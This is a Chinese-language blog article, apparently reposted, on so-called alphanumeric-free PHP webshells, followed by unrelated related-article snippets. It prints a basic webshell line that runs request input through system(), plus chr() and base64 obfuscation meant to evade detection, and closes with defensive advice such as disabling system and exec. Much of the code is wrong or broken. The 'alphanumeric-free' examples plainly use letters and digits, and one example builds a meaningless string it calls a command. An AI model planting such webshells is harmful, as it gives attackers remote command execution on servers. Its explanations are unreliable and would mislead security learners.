無字母數字webshell的命令執行

在Web安全領域,WebShell是一種常見的攻擊手段,通過它攻擊者可以遠程執行服務器上的命令,獲取敏感信息或控制系統。而無字母數字WebShell則是其中一種特殊形式,通過避免使用字母和數字字符,來繞過某些安全機制的檢測。

一、無字母數字WebShell的基本原理

無字母數字WebShell利用了PHP等腳本語言的靈活性,通過將字符轉換函數(如?chr())、字符串連接符(如?.),或其他字符操作方法來構建出命令,進而避免直接使用字母和數字。

例如,通常的WebShell可能包含類似如下的代碼:

<?php echo system($_GET['cmd']); ?>

而無字母數字WebShell則會通過一些字符操作,將上述代碼進行轉換。例如,可以通過?chr()函數將每個字母的ASCII值轉換為字符:

<?php echo system(chr(99).chr(109).chr(100)); ?>

這段代碼中,chr(99)表示字符?cchr(109)表示字符?mchr(100)表示字符?d,最終構成?cmd命令。

二、實現無字母數字WebShell
  1. 基礎命令生成
    使用?chr()函數生成命令,如生成?"ls"命令:

    $cmd = chr(108) . chr(115); // 'l' = chr(108), 's' = chr(115)
    echo system($cmd);
  2. 字符拼接與執行
    PHP中可以通過字符串拼接和函數調用的方式避免使用字母:

    $f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
    $cmd = chr(108).chr(115); 
    $f($cmd);

    這段代碼通過將字符的ASCII值轉為字符,拼接得到?system和?ls命令,然后調用?system執行?ls

  3. 無字母執行Shell命令
    完整的無字母數字WebShell可以通過將這些技術組合來執行任意命令。例如:

    $a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
    $b = chr(99).chr(104).chr(114);
    $c = chr(40).chr(41); // ()
    $cmd = $b.$c.chr(108).chr(115); // chr(99).chr(104).chr(114).chr(40).chr(41).'ls'
    $a($cmd);

    該代碼拼接出命令?chr(ls),并利用?system函數執行。

三、規避檢測的高級技巧
  1. 動態變量名
    通過動態生成的變量名進一步混淆WebShell:

    ${chr(102).chr(117).chr(110)} = 'system';
    ${chr(99).chr(104).chr(114)} = 'ls';
    ${${chr(102).chr(117).chr(110)}}(${${chr(99).chr(104).chr(114)}}());

    這種方法將變量名和函數名都通過?chr()生成,進一步規避靜態檢測。

  2. 編碼與解碼
    將命令編碼為Base64等格式,并在執行前解碼:

    $cmd = base64_decode('bHM='); // 'bHM=' is base64 for 'ls'
    system($cmd);

    通過Base64編碼后再解碼執行,增加了WebShell的隱蔽性。

四、防御措施

盡管無字母數字WebShell通過繞過傳統字符的方式來執行命令,但仍有多種防御手段可以提高系統的安全性:

  1. 禁用危險函數:在PHP配置中禁用?systemexec等函數,防止命令執行。

    disable_functions = system, exec, shell_exec, passthru
    ?
    
  2. 使用WAF:部署Web應用防火墻(WAF),對請求進行深度檢測和過濾,識別并阻斷惡意Payload。

  3. 日志監控與分析:對Web服務器日志進行實時監控,檢測異常請求或命令執行痕跡。

  4. 最小化權限:限制Web服務器用戶的權限,確保即使WebShell被利用,攻擊者也無法獲得高權限執行命令。

五、總結

無字母數字WebShell是一種利用PHP等語言靈活特性的攻擊手段,攻擊者通過字符轉換和編碼技術繞過安全機制,執行惡意命令。然而,通過合理的防御措施,如禁用危險函數、使用WAF等,可以有效減少這種攻擊帶來的風險。在實踐中,系統管理員應結合多種手段,提高服務器的安全性。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/83742.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/83742.shtml
英文地址,請注明出處:http://en.pswp.cn/web/83742.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C++斯特林數在C++中的數學理論與計算實現1

一、 斯特林數概述 1.1 組合數學中的核心地位 斯特林數&#xff08;Stirling Numbers&#xff09;是組合數學中連接排列、組合與分劃問題的核心工具&#xff0c;分為兩類&#xff1a; 第一類斯特林數&#xff08;Stirling Numbers of the First Kind&#xff09;&#xff1a…

[C++] STL大家族之<map>(字典)容器(附洛谷)

map-目錄 使用方法頭文件與聲明定義基本操作 使用方法 頭文件與聲明定義 頭文件是: #include <map>我們這樣聲明一個字典: map</*key_type*/, /*value_type*/> /*map_name*/; // 例子: map<int, char> mp;這里稍作解釋: key_type是你每個鍵值對中的鍵的…

使用 Flutter 在 Windows 平臺開發 Android 應用

以下是完整的開發流程&#xff0c;包括環境搭建、代碼實現和應用發布&#xff0c;幫助你開發一個具有地圖顯示、TCP 通信功能的 Android 應用。 一、環境搭建 1. 安裝 Flutter SDK 從 Flutter 官網 下載最新穩定版 SDK解壓到本地目錄&#xff08;如 D:\flutter&#xff09;添…

【模板】埃拉托色尼篩法(埃氏篩)

一、算法簡介 在數論與編程競賽中&#xff0c;求解 [ 1 , n ] [1,n] [1,n] 范圍內的所有質數是常見的基礎問題。埃拉托色尼篩法&#xff08;Sieve of Eratosthenes&#xff09; 是一種古老而高效的算法&#xff0c;可以在 O ( n log ? log ? n ) O(n \log \log n) O(nlogl…

AI Agent實戰 - LangChain+Playwright構建火車票查詢Agent

本篇文章將帶你一步步構建一個智能火車票查詢 Agent&#xff1a;你只需要輸入自然語言指令&#xff0c;例如&#xff1a; “幫我查一下6月15號從上海到南京的火車票” Agent就能自動理解你的需求并使用 Playwright 打開 12306 官網查詢前 10 條車次信息&#xff0c;然后匯總結果…

RabbitMQ的交換機和隊列概念

&#x1f3ea; 場景&#xff1a;一個外賣平臺的后臺系統 假設你開了一家在線外賣平臺&#xff1a; 飯店是消息的生產者&#xff08;Producer&#xff09;顧客是消息的消費者&#xff08;Consumer&#xff09;你開的外賣平臺就是RabbitMQ消息系統 &#x1f501; 第一部分&…

德國馬克斯·普朗克數學研究所:幾何朗蘭茲猜想

2025年科學突破獎 4月5日在美國洛杉磯揭曉&#xff1a;數學突破獎&#xff1a;德國馬克斯普朗克數學研究所&#xff1a;幾何朗蘭茲猜想 德國馬克斯普朗克數學研究所&#xff08;Max Planck Institute for Mathematics, MPIM&#xff09;在幾何朗蘭茲猜想的研究中扮演了核心角色…

TerraFE 腳手架開發實戰系列(一):項目架構設計與技術選型

TerraFE 腳手架開發實戰系列&#xff08;一&#xff09;&#xff1a;項目架構設計與技術選型 前言 在前端開發中&#xff0c;項目初始化往往是一個重復且繁瑣的過程。每次新建項目都需要配置 webpack、安裝依賴、設置目錄結構等&#xff0c;這些重復性工作不僅浪費時間&#…

準確--CentOS 7.9在線安裝docker

一、安裝Docker前的準備工作 操作系統版本為CentOS 7.9&#xff0c;內核版本需要在3.10以上。確保能夠連通互聯網&#xff0c;為避免網絡異常&#xff0c;建議關閉Linux的防火墻&#xff08;生產環境下請根據實際情況設置防火墻出入站規則&#xff09;。 # 查看內核版本 sudo…

中興B860AV1.1強力降級固件包

中興B860AV1.1強力降級固件包 關于中興b860av1.1頑固盒子降級教程終極版 將附件解壓好以后&#xff0c;準備一個8G以下的U盤重新格式化為FAT32格式后&#xff0c;并插入電腦 將以下文件及文件夾一同復制到優盤主目錄下&#xff08;見下圖&#xff09; 全選并復制到U盤主目錄下&…

nacos-作為注冊中心與springcloud整合(三)

前一篇文章nacos-簡介和初體驗&#xff08;一&#xff09;我們已經在服務器部署了nacos應用了。 在另外一篇文章中nacos-作為配置中心與springcloud整合&#xff08;二&#xff09;已經作為配置中心整合到springcloud 接下來讓我們嘗試把nacos作為注冊中心和springcloud中整合&…

Seata的TC(事務協調器)高可用如何實現?

Seata的TC&#xff08;事務協調器&#xff09;確實運行在Seata服務進程中&#xff0c;其高可用實現和宕機恢復主要通過以下機制實現&#xff1a; 一、高可用架構 集群部署 多TC節點組成集群&#xff0c;通過注冊中心&#xff08;如Nacos&#xff09;實現服務發現采用Raft協議實…

Mac安裝docker desktop

一、背景 最近在學習Spring AI&#xff0c;于是在GitHub上找了個開源項目&#xff0c;個人覺得還是比較適合有Java基礎和AI基礎的同學學習的。GitHub地址如下&#xff1a; https://github.com/qifan777/dive-into-spring-ai 但是看了下運行環境需要 MySQL 8 Redis-Stack n…

【算法深練】二分答案:從「猜答案」到「精準求解」的解題思路

目錄 前言 二分求最小值 1283. 使結果不超過閾值的最小除數 2187. 完成旅途的最少時間 1011. 在 D 天內送達包裹的能力 875. 愛吃香蕉的珂珂 3296. 移山所需的最少秒數 475. 供暖器 2594. 修車的最少時間 1482. 制作 m 束花所需的最少天數 3048. 標記所有下標的最早秒…

基于RK3588,飛凌教育品牌推出嵌入式人工智能實驗箱EDU-AIoT ELF 2

在AIoT技術驅動產業變革的浪潮中&#xff0c;嵌入式人工智能已成為工業物聯網、智慧交通、智慧醫療等領域創新突破的關鍵引擎。飛凌嵌入式教育品牌ElfBoard立足產業前沿&#xff0c;重磅推出嵌入式人工智能實驗箱EDU-AIoT ELF 2&#xff0c;以“軟硬協同、產教融合”為設計理念…

51單片機-IO擴展模塊 pcf8575

PCF8575介紹 PCF8575 是 NXP&#xff08;原飛利浦半導體&#xff09;生產的一款通用 IC 總線 I/O 擴展器芯片&#xff0c;主要用于微控制器&#xff08;如 Arduino、STM32 等&#xff09;的 I/O 端口擴展。 主要特性 16位并行 I/O 端口&#xff1a;可以配置為輸入或輸出 IC 總…

Python3 學習(菜鳥)-02基本數據類型

1.多變量賦值 多變量被賦予相同的數值 多變量被賦予不同的數值 2.數值運算 除法 /&#xff1a;返回一個浮點數 除法 //&#xff1a;返回一個整數 3.列表 加號和星號 加號 是列表連接運算符 星號 * 是重復操作 list [ abcd, 786 , 2.23, runoob, 70.2 ] # 定義一個…

『uniapp』搜索功能+商品列表滾動效果(詳細圖文注釋)

目錄 預覽效果準備工作代碼分析與思路1. 頁面結構主容器:`menber-container`搜索框:`u-search-inner`菜單:`u-menu-wrap`2. 數據模型`data()` 中的數據定義:3. 生命周期`onLoad(options)``onReady()``mounted()`4. 方法`search()``searchClear()``swichMenu(index)``getElRe…

微服務--消息隊列mq

1. mq簡介 消息隊列是分布式系統中的異步通信中間件&#xff0c;采用"生產者-消費者"模型實現服務間解耦通信 核心作用 服務解耦異步處理流量削峰數據同步最終一致性 消息隊列模式 發布/訂閱模式&#xff1a;一對多廣播工作隊列模式&#xff1a;競爭消費死信隊列…

第26節 Node.js 事件

Node里很多對象會分發事件&#xff1a; 每次有連接的時候net.Server會分發事件&#xff0c;當文件打開的時候fs.readStream會分發事件。所有能分發事件的對象都是 events.EventEmitter的實例。通過require("events");能訪問這個模塊。 一般來說&#xff0c;事件名都…